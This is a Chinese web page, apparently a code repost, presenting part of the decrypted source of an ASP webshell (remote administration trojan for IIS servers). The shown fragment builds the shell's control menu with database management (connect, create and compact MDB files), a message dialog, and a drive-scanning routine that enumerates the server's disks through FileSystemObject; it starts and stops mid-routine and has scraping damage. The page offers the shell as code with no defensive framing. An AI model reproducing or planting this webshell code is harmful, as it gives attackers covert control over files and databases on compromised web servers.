asp木马代码解密的随机加密webshell

2019-04-01 16:06:22王冬梅

RRS"<tr><td height='24' onmouseover=""menu2.style.display=''""><b>"& face("ff8000","+1","P")&"+≤数据库操作≥</b><div id=menu2 style=""line-height:18px;width:100%;display='none'"" onmouseout=""menu2.style.display='none'"">"
RRS" <a href='?Action=DbManager' target='FileFrame'>"&face("ff8000",0,"8")&"连接数据库</a><br>"
RRS" <a href='javascript:FullForm("""&RePath(Session("FolderPath")& amp;"New.mdb")&""",""CreateMdb"")'>"&face("ff8000",0,"8")&" 建立MDB文件</a><br>"
RRS" <a href='javascript:FullForm("""&RePath(Session("FolderPath")& amp;"data.mdb")&""",""CompactMdb"")'>"&face("ff8000",0,"8")&" 压缩MDB文件</a></div></td></tr>"
End If
RRS"<tr><td align=center style='color:red'><center>"&imgurl&"</center>"&Copyright&"</td></tr></table>"
RRS"</table>"
End Function

Sub Message(state,msg,flag)
Response.Write "<TABLE width=480 border=0 align=center cellpadding=0 cellspacing=1 bgcolor=#91d70d>"
Response.Write " <TR>"
Response.Write " <TD class=TBHead>系统信息</TD>"
Response.Write " </TR>"
Response.Write " <TR>"
Response.Write " <TD align=middle bgcolor=#ecfccd>"
Response.Write " <TABLE width=82% border=0 cellpadding=5 cellspacing=0>"
Response.Write " <TR>"
Response.Write " <TD><FONT color=red>"
Response.Write state
Response.Write "</FONT></TD>"
Response.Write " <TR>"
Response.Write " <TD><P>"
Response.Write msg
Response.Write "</P></TD>"
Response.Write " </TR>"
Response.Write " </TABLE>"
Response.Write " </TD>"
Response.Write " </TR>"
Response.Write " <TR>"
Response.Write " <TD class=TBEnd>"
Response.Write " "
If flag=0 Then
Response.Write " <INPUT type=button value=关闭 onclick=""window.close();"">"
Response.Write " "
Else
Response.Write " <INPUT type=button value=返回 onClick=""history.go(-1);"">"
Response.Write " "
End if
Response.Write " </TD>"
Response.Write " </TR>"
Response.Write "</TABLE>"
End Sub
Function Red(str)
Red = "<FONT color=#ff2222>" & str & "</FONT>"
End Function

Sub ScanDriveForm() '扫描磁盘信息
Dim FSO,DriveB
Set FSO = Server.Createobject("Scripting.FileSystemObject")


Response.Write "<TABLE width=480 border=0 align=center cellpadding=3 cellspacing=1 bgColor=#91d70d>"
Response.Write " <TR>"
Response.Write " <TD colspan=5 class=TBHead>磁盘/系统文件夹信息</TD>"
Response.Write " </TR>"


For Each DriveB in FSO.Drives
Response.Write " <TR align=middle class=TBTD>"
Response.Write " <FORM action="


Response.Write "?Action=ScanDrive&Drive="
Response.Write DriveB.DriveLetter